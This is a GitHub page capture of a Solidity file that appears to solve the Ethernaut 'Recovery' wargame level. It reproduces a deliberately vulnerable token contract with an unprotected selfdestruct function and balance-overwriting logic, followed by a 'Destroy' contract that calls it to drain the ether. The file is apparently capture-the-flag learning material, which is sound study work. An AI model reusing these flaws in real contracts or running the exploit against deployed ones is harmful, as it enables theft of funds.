-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathLevel_17_Recovery.sol
45 lines (35 loc) · 1.16 KB
/
Level_17_Recovery.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pragma solidity ^0.6.6;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol';
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
fallback() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
contract Destroy{
address payable receiver = msg.sender;
SimpleToken killMeplease;
function destroySimpleToken(address payable simpleTokenAddress) public{
killMeplease = SimpleToken(simpleTokenAddress);
killMeplease.destroy(receiver);
}
}